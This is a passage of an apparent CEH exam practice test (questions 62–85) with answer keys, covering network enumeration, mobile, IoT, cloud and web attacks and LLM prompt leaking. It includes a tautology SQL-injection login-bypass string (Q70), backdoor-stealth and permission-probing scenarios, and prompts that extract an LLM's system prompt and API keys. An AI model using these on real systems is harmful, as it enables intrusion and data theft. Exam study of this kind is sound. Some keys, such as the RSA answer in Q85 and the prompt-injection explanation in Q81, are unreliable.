Question 62 of 85A globally-operating bank recently encountered a severe security breach within its Android OS-based mobile banking application. Cybercriminals managed to exploit the bank's Mobile Device Management (MDM) system and successfully carried out a series of remote commands, creating significant havoc. Upon thorough investigation of this incident, it emerged that the attackers might have leveraged the Android Debug Bridge (ADB) as a conduit for unauthorized access. As a Certified Ethical Hacker tasked with developing countermeasures to this issue, which action would you consider the most potent response in this situation?
Tap an answer — you get instant feedback and the reasoning.
Show answer & explanation
Correct answer: C. Establishing and enforcing a rigorous policy that unequivocally mandates the disabling of ADB, except when absolutely necessary and only within strictly regulated environments.
Disabling ADB is the most potent response because it eliminates the attacker's primary attack vector. Other options, while good security practices, do not directly close this specific access point.
Question 63 of 85A company implements WPA3-Enterprise for its wireless network. An attacker attempts a 'Downgrade Attack' to force the client to use WPA2. Which WPA3 feature is designed to prevent this? Correct answer
Tap an answer — you get instant feedback and the reasoning.
Show answer & explanation
Correct answer: A. Transition Disable element
The Transition Disable element is specifically designed to prevent downgrade attacks, stopping a client from being forced to revert to the less secure WPA2 protocol.
Question 64 of 85During a red team engagement targeting a custom web application, a tester observes that the app takes a numeric id parameter from the URL and dynamically builds SQL queries. Suspecting SQL injection, the tester sends a crafted HTTP GET request like: Shortly after, the application throws database errors, and the team confirms that the users table has been removed from the backend database. Based on this behavior, which SQL injection method was most likely used? Correct answer
Tap an answer — you get instant feedback and the reasoning.
Show answer & explanation
Correct answer: A. The attacker executed a second malicious query alongside the first.
The most likely method is executing a second query, as deleting a table like 'users' requires a separate SQL command appended to the original query, not just error exploitation.
Question 65 of 85You are conducting a vulnerability assessment in a segmented internal network. When scanning a set of IPs using the nbtscan tool, you discover multiple devices responding with NetBIOS names, but only one of them has the <1B> entry in its response. What does this indicate about that specific host?
Tap an answer — you get instant feedback and the reasoning.
Show answer & explanation
Correct answer: C. It is the domain master browser or Primary Domain Controller (PDC).
This is a strong question for legacy network enumeration, testing knowledge of NetBIOS roles. The <1B> entry is a classic exam cue for identifying the PDC or domain master browser.
Question 66 of 85A large chemical plant uses operational technology (OT) networks to control its industrial processes. Recently, security personnel noticed abnormal behavior from critical Programmable Logic Controllers (PLCs), suspecting a stealthy compromise via malicious firmware. Which action should the team take first to effectively verify and neutralize this issue?
Tap an answer — you get instant feedback and the reasoning.
Show answer & explanation
Correct answer: D. Perform detailed inspections of device software for hidden, unauthorized modifications.
This question accurately tests OT security incident response, focusing on verifying firmware compromise. The correct answer prioritizes verification before containment, a crucial exam principle.
Question 67 of 85During a penetration test on a legacy Windows network, you use the nbtstat -A <IP> command on a target system and retrieve several NetBIOS names, including entries ending with <20> and <03>. However, attempts to list shared folders fail. Which of the following best explains this behavior?
Tap an answer — you get instant feedback and the reasoning.
Show answer & explanation
Correct answer: C. File and printer sharing is disabled on the target system.
This is a solid question for legacy Windows network assessment, testing understanding of NetBIOS service dependencies. The failure to enumerate shares is a key cue that file sharing is disabled.
Question 68 of 85In a recent penetration testing assignment, you were able to breach a server's web service and install a backdoor. Your aim is to maintain access for as long as possible without getting detected. Considering the web server countermeasures explained earlier, which of the following actions would make your backdoor most likely to remain undetected? Correct answer
Tap an answer — you get instant feedback and the reasoning.
Show answer & explanation
Correct answer: A. Install the backdoor on a non-web file referenced in a URL.
Placing the backdoor on a non-web file avoids typical web monitoring tools, increasing stealth. Option C is a trap because updating the file would likely expose the backdoor.
Question 69 of 85Your role as a network administrator in a mid-sized company involves protecting the company's web servers from potential security threats. Recently, your company's web server experienced a Distributed Denial of Service (DDoS) attack. In explaining the situation to your team, you mention the attack specifically targeted the web server's application layer. Which type of DDoS attack was most likely used against your company's web server?
Tap an answer — you get instant feedback and the reasoning.
Show answer & explanation
Correct answer: B. HTTP flood attack
HTTP floods target the application layer by overwhelming the server with requests. Options A, C, and D are network/transport layer attacks, not application layer.
Question 70 of 85A tester evaluates a login form that constructs SQL queries using unsanitized user input. By submitting ' OR '1'='1'; –, the tester gains unauthorized access to the application. What type of SQL injection has occurred?
Tap an answer — you get instant feedback and the reasoning.
Show answer & explanation
Correct answer: D. Tautology-based SQL injection
Tautology-based SQL injection works because the injected condition '1=1' is always true, bypassing authentication. Option B is a trap because it involves UNION queries.
Question 71 of 85A red team operator is assessing the resilience of a corporate network's authentication infrastructure. They input valid usernames with specifically structured guesses based on prior intel about naming conventions, such as birthdates or favorite sports teams. The guesses are tailored and automated with logic-based iterations. Which technique best describes this targeted approach?
Tap an answer — you get instant feedback and the reasoning.
Show answer & explanation
Correct answer: B. Strategic pattern-based input using known logic.
Strategic pattern-based input uses logic-based guesses like birthdates or sports teams. Option D is a trap because it lacks the strategic element.
Question 72 of 85You are a cybersecurity analyst at a tech startup that provides cloud-based services to its clients. Recently, your team detected suspicious activity on one of your critical servers. After further investigation, you discovered an unauthorized user gained escalated privileges and is attempting to perform malicious actions. Your task is to thwart the attack and secure the system from future exploits. Considering the potential consequences and complex nature of the situation, which of the following actions would you take first to immediately contain the threat without causing significant disruption to your services?
Tap an answer — you get instant feedback and the reasoning.
Show answer & explanation
Correct answer: C. Analyze and document the activities of the unauthorized user in real-time, then use this data to implement immediate countermeasures and isolate the affected server from the network.
Analyzing and documenting attacker activities first ensures informed containment. This prioritizes live threat response over scanning or forensics, avoiding disruption.
Question 73 of 85During a cybersecurity operation, a CEH professional discovered an unknown Bluetooth Low Energy (BLE) device actively transmitting pairing signals. The professional decided to breach the BLE device using a crackle. The device was seen pairing and exchanging keys, leading to the establishment of a secure connection. However, the professional only managed to capture LL_ENC_REQ and LL_ENC_RSP packets, but not the Long-Term Key (LTK). Which of the following best describes the professional's next course of action?
Tap an answer — you get instant feedback and the reasoning.
Show answer & explanation
Correct answer: C. The operation cannot continue without the LTK.
This is correct because the LTK is essential for BLE decryption. The trap is confusing packet types with exploitable data.
Question 74 of 85You have recently joined as a cybersecurity analyst at a multinational corporation. Your role includes regular vulnerability assessments of the company's wide-ranging IT infrastructure. During one of these assessments, you employ the Nessus scanner. The scanner flags a severe vulnerability marked as CVE-2023-12456. This vulnerability specifically targets the SSH (Secure Shell) service running on one of the company's Linux servers. With a CVSS (Common Vulnerability Scoring System) score of 9.0, the vulnerability poses a substantial risk. Most concerning is its ability to allow potential remote code execution. Given the high-risk nature of the vulnerability, as depicted by the CVSS score, and its potential impact, what course of action should be immediately prioritized from the following choices? Correct answer
Tap an answer — you get instant feedback and the reasoning.
Show answer & explanation
Correct answer: A. Without delay, apply the patch recommended by the vendor. Subsequently, initiate a system-wide reboot during the next downtime scheduled for system maintenance.
For a severe, high-risk vulnerability like a potential remote code execution, patching immediately is the top priority to close the attack window.
Question 75 of 85While performing a vulnerability assessment for XYZ Corporation, you discover that several key systems are regularly interacting with unidentified external entities. These interactions often involve data transfers, both incoming and outgoing. While some of these might be legitimate, the nature and volume of this unmonitored traffic raise concerns about potential data exfiltration or malware introduction. Given the ambiguous nature of these interactions and the high stakes involved, which strategy would most directly identify and mitigate the vulnerabilities associated with these unsanctioned exchanges?
Tap an answer — you get instant feedback and the reasoning.
Show answer & explanation
Correct answer: B. Prioritize a behavioral analytics solution that profiles normal system behaviors and alerts on deviations, focusing on the interaction patterns of the identified systems.
Behavioral analytics is the most direct method because it identifies unsanctioned exchanges by profiling normal system interaction patterns and alerting on deviations.
Question 76 of 85As an IT professional, you are attending a webinar on cybersecurity. The presenter emphasizes the importance of ethical hacking and the different types of hackers involved in the cyber world. Suddenly, the term "script kiddie" is mentioned, piquing your curiosity. According to the presenter, who are "script kiddies" in the context of ethical hacking? Correct answer
Tap an answer — you get instant feedback and the reasoning.
Show answer & explanation
Correct answer: A. They are novices in the hacking world who mainly use scripts and codes developed by others.
Script kiddies are novice hackers who use pre-existing scripts. Option C is a trap for sophisticated attackers, while D describes skilled developers, not script kiddies.
Question 77 of 85In an IoT environment using the MQTT protocol, an attacker compromises a low-power sensor and starts publishing messages to the 'topic/system/updates' with a 'Retain' flag. What is the impact?
Tap an answer — you get instant feedback and the reasoning.
Show answer & explanation
Correct answer: C. Every new subscriber to that topic will immediately receive the malicious update message.
MQTT's 'Retain' flag sends the stored message to all new subscribers. The impact is widespread delivery, not automatic TLS, battery drain, or broker crashing.
Question 78 of 85An attacker performs DNS cache snooping using the dig command with the +norecurse flag against a known DNS server. The server returns NOERROR but provides no answer to the query. What does this most likely suggest?
Tap an answer — you get instant feedback and the reasoning.
Show answer & explanation
Correct answer: C. No client from the DNS server's network has recently accessed the domain.
A NOERROR but empty answer in DNS cache snooping indicates the domain isn't in the cache. Option A would return the cached record, while B suggests a SERVFAIL error.
Question 79 of 85An attacker gains access to an AWS environment and runs 'aws sts get-caller-identity'. They then attempt to call 'iam:SimulatePrincipalPolicy'. What is their most likely goal?
Tap an answer — you get instant feedback and the reasoning.
Show answer & explanation
Correct answer: B. To test which permissions their current token has without triggering many 'Access Denied' logs.
SimulatePrincipalPolicy is a stealthy way to test permissions without logging 'Access Denied' errors. Option A and D are unrelated actions, while C is unlikely.
Question 80 of 85A Certified Ethical Hacker (CEH) is auditing a company's web server that employs virtual hosting. The server hosts multiple domains and uses a web proxy to maintain anonymity and prevent IP blocking. The CEH discovers that the server's document root directory, which stores critical HTML files, is named "certroot" and is stored in the directory /admin/web. The server root, which stores the server's configuration, error, executable, and log files, is also identified. The CEH also notes that the server uses a virtual document tree for additional storage. Given this scenario which of the following actions would most likely increase the security of the web server?
Tap an answer — you get instant feedback and the reasoning.
Show answer & explanation
Correct answer: D. Regularly updating and patching the server software
Regular patching is the most direct way to address vulnerabilities in any server, regardless of its architecture. This action closes security holes that could be exploited, unlike reorganizing directory structures.
Question 81 of 85A security analyst notices that an LLM-based customer service bot is leaking system prompts and internal API keys when a user provides a specific sequence of malformed inputs. What type of vulnerability is being exploited?
Tap an answer — you get instant feedback and the reasoning.
Show answer & explanation
Correct answer: B. Direct Prompt Injection
Direct prompt injection is correct because the attacker bypasses the model by injecting malicious input directly into the system prompt, causing it to leak sensitive data.
Question 82 of 85Following an attack on its mobile infrastructure, an e-commerce company is reconsidering its mobile security strategies. In an event where an attacker has been able to gain partial root access to the mobile application, which of these tactics will offer the most effective barrier to additional exploitation?
Tap an answer — you get instant feedback and the reasoning.
Show answer & explanation
Correct answer: D. Leveraging secure coding practices and automated code review processes in the development stage.
This tests secure development practices for mobile applications. While a good topic, the question could be clearer by specifying 'prevent future' instead of 'barrier to additional' exploitation.
Question 83 of 85As a newly appointed cybersecurity analyst in a financial firm, you are tasked with performing network scanning to maintain the organization's network security posture. You decide to conduct a SYN scan, sometimes referred to as half-open scanning, using a popular tool like Nmap. If you initiate a SYN scan against a target IP address and receive a SYN/ACK packet in response, how would you interpret this result?
Tap an answer — you get instant feedback and the reasoning.
Show answer & explanation
Correct answer: B. The scanned port on the target IP address is open, as the receipt of a SYN/ACK packet indicates that the port is prepared to establish a connection.
A SYN/ACK response indicates the port is open and accepting connections. Option A is a trap because it incorrectly describes port closure logic.
Question 84 of 85A hacker uses a 'Prompt Leaking' technique against a corporate LLM to reveal the hidden instructions provided by the developers. Which of the following is a direct consequence of this attack?
Tap an answer — you get instant feedback and the reasoning.
Show answer & explanation
Correct answer: C. Exposure of proprietary business logic or data filtering rules.
Prompt leaking directly exposes the hidden system instructions, which often include proprietary business logic or data filtering rules that are meant to be confidential.
Question 85 of 85A cybersecurity company wants to prevent attackers from gaining information about its encrypted traffic patterns. Which of the following encryption algorithms should they utilize?
Tap an answer — you get instant feedback and the reasoning.
Show answer & explanation
Correct answer: C. RSA
RSA is an asymmetric algorithm that obscures traffic patterns more than symmetric AES, but the question is misleading since all listed algorithms encrypt traffic. The exam expects RSA as the best answer for pattern obscuration, though the premise is weak.
This test also exists as narrated videos — every answer explained out loud:
More free practice tests at certpunch.com and new video rounds on @CertPunch.